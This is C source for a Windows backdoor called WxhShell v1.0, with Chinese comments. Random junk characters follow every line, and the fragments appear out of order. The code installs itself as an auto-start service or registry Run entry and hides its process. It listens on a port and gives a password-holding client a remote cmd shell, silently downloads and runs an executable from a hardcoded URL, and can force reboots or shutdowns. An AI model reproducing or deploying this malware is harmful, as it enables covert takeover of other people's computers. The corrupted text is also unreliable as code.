    if(Boot(SHUTDOWN)) ' fm}&0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CK+_T}+-  
    else { O(QJiS  
    closesocket(wsh); oVSq#I4  
    ExitThread(0); YV0K&d  
    } L>EC^2\  
    break; %@Ty,d:;=  
    } d4zqLD$A  
  // 获取shell j;']L}R  
  case 's': { h .$3 jNU  
    CmdShell(wsh); (GdL(H#IL  
    closesocket(wsh); 9>"To  
    ExitThread(0); SQB[d3f  
    break; m^)h/s0A  
  } W=T}hA#`  
  // 退出 c);(+b  
  case 'x': { F$Q@UVA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C}{$'#DV2  
    CloseIt(wsh); ` cgS yRD]  
    break; a~F` {(Q2  
    } T;%ceLD  
  // 离开 Y "& c .  
  case 'q': { 5'Fh_TXTD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~\z\f} w  
    closesocket(wsh); Rg6e7JVu  
    WSACleanup(); L@{5:#-  
    exit(1); )'RLK4l  
    break; `_;VD?")*l  
        } @:s|X  
  } u&>o1!c*P  
  } 5!PU+9Kh  
v* nX  
  // 提示信息 :h&*<!O2B`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C9q`x2  
} f&S,l3H<  
  } P2`!)teN  
N*Owfr1 N  
  return; 5"[Qs|VjA6  
} Z=Oo%lM6B  
zA![c l>$  
// shell模块句柄 `q 4%  
int CmdShell(SOCKET sock) 5UwaBPj4  
{ j_?U6$xi  
STARTUPINFO si; Y24: D7Q  
ZeroMemory(&si,sizeof(si)); QMzBx*g(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^zv28Wq>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (l.`g@(L  
PROCESS_INFORMATION ProcessInfo; or u.a   
char cmdline[]="cmd"; H5Rn.n(|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X }yEMe{T  
  return 0; 7K`A2  
} xOjCF&W  
]OoqU-q  
// 自身启动模式 !m$OI:rr  
int StartFromService(void) ".qh]RVjV  
{ _wg6}3  
typedef struct eA>O<Z1>  
{ $H/3t?6h`  
  DWORD ExitStatus; WZ'3  
  DWORD PebBaseAddress; %/H  
  DWORD AffinityMask; ,2)LH 'Xx  
  DWORD BasePriority; aT#R#7<Eg  
  ULONG UniqueProcessId; H;<hmbN?d  
  ULONG InheritedFromUniqueProcessId; oSt-w{ !  
}   PROCESS_BASIC_INFORMATION; 8KD7t&H  
O1@xF9<  
PROCNTQSIP NtQueryInformationProcess; -O_5OT4  
S5'BXE,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }`yIO"{8n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nVoPTr  
zQ}:_  
  HANDLE             hProcess; xv9Z~JwH  
  PROCESS_BASIC_INFORMATION pbi; !h2ZrT9 _  
;KmSz 1A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S"w$#"EJA  
  if(NULL == hInst ) return 0; " 7RQrz  
^zQ;8)ng  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b:>(U.   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;y?,myO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8p7Uvn+m*  
r}9qK%C G.  
  if (!NtQueryInformationProcess) return 0; :t]YPt  
5-bd1!o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dapQ5JT/  
  if(!hProcess) return 0; RNiZ2:  
y1/$dn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6d,jR[JP  
V$-IRdb  
  CloseHandle(hProcess); &M ~*w~w`  
L!DP*XDp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yjpV71!M  
if(hProcess==NULL) return 0; IyYC).wU}  
*:3flJt  
HMODULE hMod; $r9Sn  
char procName[255]; ooByGQ90V:  
unsigned long cbNeeded; sW#6B+5_k  
./)A6O*#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6.2_UN^<  
ld4QhZia  
  CloseHandle(hProcess); 6Ez}A|i  
|Z$heYP:w  
if(strstr(procName,"services")) return 1; // 以服务启动 s*:J=+D]G  
;58l_ue  
  return 0; // 注册表启动 mTW0_!.  
} 3*3WO,9  
G1vWHa7n;f  
// 主模块 qp^O\>c  
int StartWxhshell(LPSTR lpCmdLine) 7Cx%G/(  
{ 1/3Go97/qV  
  SOCKET wsl; gc7S_D~;  
BOOL val=TRUE; h2!We#  
  int port=0; 8,#v7ns}#  
  struct sockaddr_in door; 0eQyzn*98  
"N"9PTX  
  if(wscfg.ws_autoins) Install(); 9n$GeRO  
k(><kuJ`3  
port=atoi(lpCmdLine); fEWS3`Yy  
7<oLe3fbM  
if(port<=0) port=wscfg.ws_port; ^~0\d;l_  
y|nMCkuX  
  WSADATA data; 1[a;2x A~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0Oc' .E9  
pRD8/7@(B{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v}IkY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y>{K2#k  
  door.sin_family = AF_INET; H jbC>*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I`}-*% ki(  
  door.sin_port = htons(port); l];,)ddD9  
vdYd~>w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]ZelB,7q  
closesocket(wsl); S`BLwnU`#  
return 1; :z56!qU  
} >0=`3X|Y7  
uR|Jn)/m(  
  if(listen(wsl,2) == INVALID_SOCKET) { ,o]"G[Jk  
closesocket(wsl); vAbMU  
return 1; T/V8&'^i  
} s@E "EWp0  
  Wxhshell(wsl); 3205gI,  
  WSACleanup(); 4$+1jjC]>~  
5. 5  
return 0; =da_zy  
`$jc=ZLm  
} =2BGS\$#  
j` 9pZAF  
// 以NT服务方式启动 ^!L'Ao y;E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) **d3uc4y  
{ DmM<Kkg.J  
DWORD   status = 0; DKAqQ?fS  
  DWORD   specificError = 0xfffffff; v9( ->X'  
DF-`nD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6&S;Nrg9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XL>c TM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TggM/ @k  
  serviceStatus.dwWin32ExitCode     = 0; YQvN;W  
  serviceStatus.dwServiceSpecificExitCode = 0; t>.mB@se|  
  serviceStatus.dwCheckPoint       = 0; [h+MA>%!  
  serviceStatus.dwWaitHint       = 0; Kgbgp mW  
p [4/Nq,c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?1K|.lr  
  if (hServiceStatusHandle==0) return; r`pg`ChHv  
QM=M<~<Voh  
status = GetLastError(); <f&z~y=  
  if (status!=NO_ERROR)  $J>GCY  
{ 1@6dHFA`o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R"EX$Zj^E  
    serviceStatus.dwCheckPoint       = 0; ^6bU4bA  
    serviceStatus.dwWaitHint       = 0; -Mx"ox  
    serviceStatus.dwWin32ExitCode     = status; MU4/arXy  
    serviceStatus.dwServiceSpecificExitCode = specificError; s9>f5u?dK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rn#FmM  
    return; S H2|xn  
  } oA%8k51>~K  
:^tw!U%y1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "rOe J~4 X  
  serviceStatus.dwCheckPoint       = 0; >KmOTM< {  
  serviceStatus.dwWaitHint       = 0; S#Tc{@e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K9B_o,  
} (= } cc  
f^z~{|%l!  
// 处理NT服务事件,比如:启动、停止 ;,![Lar5L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,f8<s-y4Sg  
{ #;sUAR?]  
switch(fdwControl) \Z-T)7S  
{ mD{<Lp=  
case SERVICE_CONTROL_STOP: &^3KF0\Q  
  serviceStatus.dwWin32ExitCode = 0; ="<5+G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j}7as&  
  serviceStatus.dwCheckPoint   = 0; j/`- x  
  serviceStatus.dwWaitHint     = 0; W L$nchS9  
  { Q?-HU,RBO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e6f:@ O?  
  } 2A7g}V  
  return; ^-?5=\`5  
case SERVICE_CONTROL_PAUSE: .}n,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "| 0g 1rd  
  break; 7\m.xWX e  
case SERVICE_CONTROL_CONTINUE: np,L39:sf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \]ouQR.t@\  
  break; H=Rqr  
case SERVICE_CONTROL_INTERROGATE: ,3l=44*  
  break; =r=[e}&9  
}; ~WXT0-,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i1k(3:ay<  
} ~L$B]\/A5  
3mKmd iD  
// 标准应用程序主函数 NBHS   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |g<1n  
{ ^HYmi\`  
wv0d"PKTS  
// 获取操作系统版本 u3)Oj7cX  
OsIsNt=GetOsVer(); XDs )  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8}9|hT;  
"D0:Y(\  
  // 从命令行安装 I{Hl2?CnI,  
  if(strpbrk(lpCmdLine,"iI")) Install(); vFz%#zk>  
?O(KmDH  
  // 下载执行文件 ;/+VHZP;  
if(wscfg.ws_downexe) { V^fSrW]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M,xhQ{eBY  
  WinExec(wscfg.ws_filenam,SW_HIDE); KNT(lA0s  
} l9"4"+?j<  
}% (e`[?1  
if(!OsIsNt) { B;xw @:H  
// 如果时win9x,隐藏进程并且设置为注册表启动 > w:+nG/r  
HideProc(); 4/YEkD  
StartWxhshell(lpCmdLine); 6v~` jS%3  
} Q- ( [3%  
else xxxM  
  if(StartFromService()) ]-h$CJSY  
  // 以服务方式启动 Vj?{T(K1[  
  StartServiceCtrlDispatcher(DispatchTable); "#bL/b'{  
else C"l_78  
  // 普通方式启动 z d 9Gi5&  
  StartWxhshell(lpCmdLine); BG:l Zj'I  
(2J_Y*N~>  
return 0; wq &|V  
} 6J. [9#  
i!8 o(!I  
Ar&]/X,WG  
:&D>?{b0  
=========================================== P|}~=2J  
Eq$Q%'5*ua  
mXZOkx{  
U-.?+ `  
+g36,!q  
@ k+Z?Hp  
" bz!9\D|h  
48X;'b,h  
#include <stdio.h> v_Om3i9$E  
#include <string.h> e='bc7$  
#include <windows.h> VYw vT0  
#include <winsock2.h> !(\OT  
#include <winsvc.h> _Eq*  
#include <urlmon.h> :$Lu V5  
qc^ u%  
#pragma comment (lib, "Ws2_32.lib") Oi{X \Y  
#pragma comment (lib, "urlmon.lib") \m @8$MK  
,EPs>#d  
#define MAX_USER   100 // 最大客户端连接数 $47cKit|k:  
#define BUF_SOCK   200 // sock buffer cU}j Whu  
#define KEY_BUFF   255 // 输入 buffer # Sfz^  
bA]/p%rZ8  
#define REBOOT     0   // 重启 ydp?%RB3w  
#define SHUTDOWN   1   // 关机 O[+![[N2  
^bpxhf x  
#define DEF_PORT   5000 // 监听端口 4ujw/`:/m  
aYQ!`mS::M  
#define REG_LEN     16   // 注册表键长度 `_{'qqRhe  
#define SVC_LEN     80   // NT服务名长度 AHsp:0Ma#  
[ bv>(a_,  
// 从dll定义API #;. tVo I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bvx%|:R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]p3hq1u3&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YpQ/ )fSEV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2^ 'X  
X$,#OR  
// wxhshell配置信息 /|] %0B  
struct WSCFG { 9k.LV/Y  
  int ws_port;         // 监听端口 Zf;1U98oC  
  char ws_passstr[REG_LEN]; // 口令 `o(PcX3/}  
  int ws_autoins;       // 安装标记, 1=yes 0=no CL/8p;  
  char ws_regname[REG_LEN]; // 注册表键名 x9r5 ;5TI  
  char ws_svcname[REG_LEN]; // 服务名 -L7Q,"a$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =8OPj cX.V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WE$Pi;q1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \~ O6S`,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k>#,1GbNZy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ai"Kd=R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =]x FHw8A  
eN]0]9JO  
}; jYKs| J)[  
Y604peUF  
// default Wxhshell configuration {xr!H-9ZAA  
struct WSCFG wscfg={DEF_PORT, +:w9K!31-  
    "xuhuanlingzhe", ji {V#  
    1, KfJF9!U*?  
    "Wxhshell", Eugt~j3  
    "Wxhshell", YBQO]3f  
            "WxhShell Service", ) ^PY-~o[  
    "Wrsky Windows CmdShell Service", Gad! }dz  
    "Please Input Your Password: ", 7 ]a6dMh  
  1, '3=[xVnv  
  "http://www.wrsky.com/wxhshell.exe", 30]?Jz6m  
  "Wxhshell.exe" (_-<3)q4  
    }; c>d+q9M  
*{:FPmDU  
// 消息定义模块 gsuf d{{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4A0R07"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^.jIus5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sj{z  
char *msg_ws_ext="\n\rExit."; g<oSTA w  
char *msg_ws_end="\n\rQuit."; 7QL>f5Q  
char *msg_ws_boot="\n\rReboot..."; W|~Lmdzj  
char *msg_ws_poff="\n\rShutdown..."; zllY $V&<!  
char *msg_ws_down="\n\rSave to "; lwPK^)|}  
mJ0nyjX^  
char *msg_ws_err="\n\rErr!"; ->&AJI0  
char *msg_ws_ok="\n\rOK!"; ;hNn F&l  
q{Hk27kt  
char ExeFile[MAX_PATH]; HB`u@9le  
int nUser = 0; csT_!sI I  
HANDLE handles[MAX_USER]; [(}f3W&  
int OsIsNt; \p1H" A  
$6atr-Pb  
SERVICE_STATUS       serviceStatus; iOm1U_S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wfkm'BnV  
Y TxUKE:  
// 函数声明 ZN5\lon|Y  
int Install(void); D:'|poH  
int Uninstall(void); @5Q}o3.zA-  
int DownloadFile(char *sURL, SOCKET wsh); F6Zl#eL  
int Boot(int flag); wIuwq>  
void HideProc(void); 9 a2Ga   
int GetOsVer(void); 5gZ0a4  
int Wxhshell(SOCKET wsl); 3WS`,}  
void TalkWithClient(void *cs); vp &jSfQ^  
int CmdShell(SOCKET sock); ?I)-ez  
int StartFromService(void); 1 9a"@WB@  
int StartWxhshell(LPSTR lpCmdLine); \ntmD?kA  
wA) NB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qO[6?q=c:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6'395x_ .\  
qdm5dQ (c  
// 数据结构和表定义 T^S|u8f  
SERVICE_TABLE_ENTRY DispatchTable[] = eV^@kI4  
{ A{\7HV5  
{wscfg.ws_svcname, NTServiceMain}, D|9C|q  
{NULL, NULL} g}|a-  
}; ui`xgR\6Rh  
:2Qm*Y&_$V  
// 自我安装 8qp!S1Qnv  
int Install(void) h1G]w/.ws  
{ 6 +^V  
  char svExeFile[MAX_PATH]; 4?g~GI3  
  HKEY key; =#n05*^  
  strcpy(svExeFile,ExeFile); EonZvT-D=  
Fp4eGuWH#  
// 如果是win9x系统,修改注册表设为自启动 `da6}Vqj:  
if(!OsIsNt) { I:u xj%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lZV]Z3=p'0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #B"ki{Se*  
  RegCloseKey(key); !Zgb|e8<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^i&/k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AvRZf-Geg  
  RegCloseKey(key); RW48>4f/+  
  return 0; : RnjcnR  
    } oh%T4 $  
  } T,Cq;|g5E  
} .}kUD]pW  
else { ?,]%V1(@V`  
"w= p@/C  
// 如果是NT以上系统,安装为系统服务 03J,NXs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _a8^AG  
if (schSCManager!=0) WW0N"m'  
{ c%>t(ce`Tl  
  SC_HANDLE schService = CreateService ,AGK O,w  
  ( ~^$ONmI5  
  schSCManager, b:\I*WJ  
  wscfg.ws_svcname, huWUd)Po%  
  wscfg.ws_svcdisp, k7>*fQ89@  
  SERVICE_ALL_ACCESS, ] $$ciFM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'SY jEhvw  
  SERVICE_AUTO_START, y&t&'l/m  
  SERVICE_ERROR_NORMAL, E,shTh%&~  
  svExeFile, Y<:%_]]  
  NULL, I?J$";A  
  NULL, 6=Kl[U0Y  
  NULL, 6vro:`R ?  
  NULL, _D1bR7  
  NULL %<O'\&!,  
  ); PkF B.  
  if (schService!=0) ]x:>~0/L  
  { [esjR`u  
  CloseServiceHandle(schService);  3Fo,F  
  CloseServiceHandle(schSCManager); jkQv cU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J [2;&-@  
  strcat(svExeFile,wscfg.ws_svcname); Cq !VMl>hP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =+T{!+|6P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lEQ 63)Z  
  RegCloseKey(key); ,(N&%  
  return 0; 1m|Oi%i4  
    } bd_U%0)pi1  
  } a ^iefwsNc  
  CloseServiceHandle(schSCManager); ,8;;#XR3  
} Ik>sd@X*|  
} ,COSpq]6  
0gm+R3;k^  
return 1; 1{_tV^3@  
} ;Y?7|G97*S  
W!4GL>9m}A  
// 自我卸载 yf*MG&}  
int Uninstall(void) {[hV ['Awv  
{ $ Etf'.  
  HKEY key; \|@]XNSN  
=4\|'V15  
if(!OsIsNt) { cm%QV?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }=^YLu=  
  RegDeleteValue(key,wscfg.ws_regname); +NxEx/{  
  RegCloseKey(key); W~.1f1)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _I<eJ\  
  RegDeleteValue(key,wscfg.ws_regname); Q pz01x  
  RegCloseKey(key); '-D-H}%;}M  
  return 0;  %3KWc-  
  } <uU AAHi  
} B*zb0hdo:  
} :o*{.  
else { w)&]k#r  
8 fVI33  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LZ|G"5X[  
if (schSCManager!=0) g 4=}].  
{ KAjKv_6=g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R7KHfXy'm  
  if (schService!=0) 1e'-rm F  
  { l4O}>#  
  if(DeleteService(schService)!=0) { -/~^S]  
  CloseServiceHandle(schService); ;pU9ov4)  
  CloseServiceHandle(schSCManager); +"?K00*(  
  return 0; uB 6`e!Q  
  } }{ pNasAU  
  CloseServiceHandle(schService); TA`*]*O(  
  } 4^w>An6  
  CloseServiceHandle(schSCManager); r1}OlVbK  
} hnvn&{|  
} %HL@O]ftS  
/6gqpzum4  
return 1; g/lv>*+gS  
} 'hVOK(o 0  
67}y/C]<  
// 从指定url下载文件 bRLmJt98P  
int DownloadFile(char *sURL, SOCKET wsh) \qUmdN{FU  
{ ~~;fWM '  
  HRESULT hr; WWrD r  
char seps[]= "/"; +C/K@:p  
char *token; UQPd@IVu6  
char *file; .<u<!fL2  
char myURL[MAX_PATH]; H6/@loO!Xy  
char myFILE[MAX_PATH]; QD+dP nZu  
^\e:j7@z  
strcpy(myURL,sURL); '|J-8"  
  token=strtok(myURL,seps); Z&s+*& TM  
  while(token!=NULL)  _"%d9B  
  { e|):%6#  
    file=token; G+m|A*[>  
  token=strtok(NULL,seps); WQv~<]1J F  
  } yf3%g\k  
8s?;<6  
GetCurrentDirectory(MAX_PATH,myFILE); . 2.$Rq  
strcat(myFILE, "\\"); Ny*M{}E  
strcat(myFILE, file); BtBy.bR  
  send(wsh,myFILE,strlen(myFILE),0); b\U Q6 V  
send(wsh,"...",3,0); q0`Vw%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7T_g?!sdMh  
  if(hr==S_OK) ? 4qN>uW=  
return 0; qoB   
else ^5 F-7R8Q  
return 1; D4Uz@2_  
_UjAct]6  
} $SG^, !!&A  
&^63*x;hE  
// 系统电源模块 T oy~\  
int Boot(int flag) #c+N}eX{  
{ A. U<  
  HANDLE hToken; WYRTt2(+%  
  TOKEN_PRIVILEGES tkp; P6i4Dr  
s:*gjoL  
  if(OsIsNt) { #8;^ys1f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wy&VClT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +]I;C  
    tkp.PrivilegeCount = 1; 1^!= J<`K;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hB P]^~(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T"kaOy  
if(flag==REBOOT) { eU@yw1N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) duXv [1  
  return 0; q{yz]H,  
} "SLN8x49(  
else { B(Y{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R!*UU'se  
  return 0; e>nRJH8pK  
} Ip.5I!h[Xb  
  } |WXu;uf$.u  
  else { |oSyyDYWP  
if(flag==REBOOT) { ]hF[f|V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JP!$uK{u  
  return 0; 3c@Cb`w@  
} wMt?yc:X  
else { ETSBd[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9m!4U2N,s  
  return 0; fhMtnh:  
} C~'}RM  
} mEz&:A  
E|6X.Ny]   
return 1; G{+sC2  
} Z=8 25[p  
% eW>IN]5  
// win9x进程隐藏模块 #4%,09+  
void HideProc(void) ;o%r{:lng  
{ Z(/jQ=ozQ  
ReZ|q5*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pL-p  
  if ( hKernel != NULL ) ,_u8y&<|I  
  { COJqVC(#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7k+UCi u>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pk~P  
    FreeLibrary(hKernel); h(GgkTj4+  
  } /Lu wPM  
`+1*)bYxU  
return; `@?l{  
} D'Byl,W$   
qIA!m .GC  
// 获取操作系统版本 %9{4g->  
int GetOsVer(void) sKn>K/4JZ  
{ Z%(aBz7Et  
  OSVERSIONINFO winfo; j#-ZL-N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c!{.BgGN  
  GetVersionEx(&winfo); Ug3PZ7lK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #^!oP$>1  
  return 1; f+fF5Z\  
  else xx!o]D-}  
  return 0; s67$tlV  
} A){kitx-i)  
5T8X2fS:  
// 客户端句柄模块 ;Jv)J3y  
int Wxhshell(SOCKET wsl) Z0b1E  
{ |=jgrm1yj  
  SOCKET wsh; u"X8(\pOn  
  struct sockaddr_in client; uDH)0#  
  DWORD myID; P)>WIQSr  
EJdq"6S  
  while(nUser<MAX_USER) akJ{-   
{ cO)GiWE  
  int nSize=sizeof(client); dr,j~s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h^x7[qe  
  if(wsh==INVALID_SOCKET) return 1; =*"Amd,  
+vDT^|2SF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gqZ7Pro.  
if(handles[nUser]==0) 4\Y=*X  
  closesocket(wsh); ,dZ 9=]  
else ={={ W  
  nUser++; W!XFaA$  
  } )z7. S"U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U:_T9!fG  
/\ ~{  
  return 0; k(%RX _]C  
} 7dV^35 KP  
rd%3eR?V  
// 关闭 socket ,_\h)R_  
void CloseIt(SOCKET wsh) I`Rxijz  
{ 0IQu6 X  
closesocket(wsh); iO<O2A.F  
nUser--; /xrt,M@  
ExitThread(0); iLv"ZqGrw  
} RD{jYr;  
8'`&f &  
// 客户端请求句柄 >%Y.X38Z[  
void TalkWithClient(void *cs) Og30&a!~F  
{ ' nf"u  
rrbCg(  
  SOCKET wsh=(SOCKET)cs; e<iTU?eJM  
  char pwd[SVC_LEN]; O}IS{/^7  
  char cmd[KEY_BUFF]; w$61+KHK  
char chr[1]; ; h/Y9uYn  
int i,j; D=9x/ ) *G  
Rg0\Ng4|G  
  while (nUser < MAX_USER) { b*P \a  
yU .B(|  
if(wscfg.ws_passstr) { U?xl%qF`)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {nj\dU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &S3szhe  
  //ZeroMemory(pwd,KEY_BUFF); %\:.rs^  
      i=0; !X[lNt O  
  while(i<SVC_LEN) { ]6=cSs!  
:*}tkr4&eh  
  // 设置超时 e5veq!*C?  
  fd_set FdRead; &,NHk9.aq  
  struct timeval TimeOut; Zh3]bg5  
  FD_ZERO(&FdRead); f)"O( c  
  FD_SET(wsh,&FdRead); xu& v(C9  
  TimeOut.tv_sec=8; N_/&xHw  
  TimeOut.tv_usec=0; 5 0~L(<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y;-"Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e^Jy-?E  
9;h 1;9sC|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8MW|CM4Q  
  pwd=chr[0]; T3M 4r|  
  if(chr[0]==0xd || chr[0]==0xa) { _|*3uGo:  
  pwd=0; Jc{zi^)(EN  
  break; Kpj0IfC,10  
  } x`C;  
  i++; 9%\q*  
    } {/#?n["  
.>CqZN,^  
  // 如果是非法用户,关闭 socket i3(bg,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3z ~zcQ^\  
} m;Sw`nw?  
N;Hf7K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ijyj}gpWha  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y*J`Wf(w  
#c?\(qjWA  
while(1) { 27,WP-qie  
mE^6Zu  
  ZeroMemory(cmd,KEY_BUFF); yVh]hL#4+w  
7cvbYP\<lv  
      // 自动支持客户端 telnet标准   HC!$Z`}Y  
  j=0; \Sm.]=b r  
  while(j<KEY_BUFF) { QD"V=}'?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;=UrIA@y;=  
  cmd[j]=chr[0]; C7qbofoV  
  if(chr[0]==0xa || chr[0]==0xd) { :2?i9F0_  
  cmd[j]=0; ih1SN,/  
  break; E$8GXo00v  
  } VQqEsnkz  
  j++; V3I&0P k  
    } dVCBpCxI  
~>#=$#V   
  // 下载文件 o{zo-:>Jp  
  if(strstr(cmd,"http://")) { _CI!7%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NGS/lKz  
  if(DownloadFile(cmd,wsh)) hiP^*5h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;t*45  
  else `n5|4yaG~  
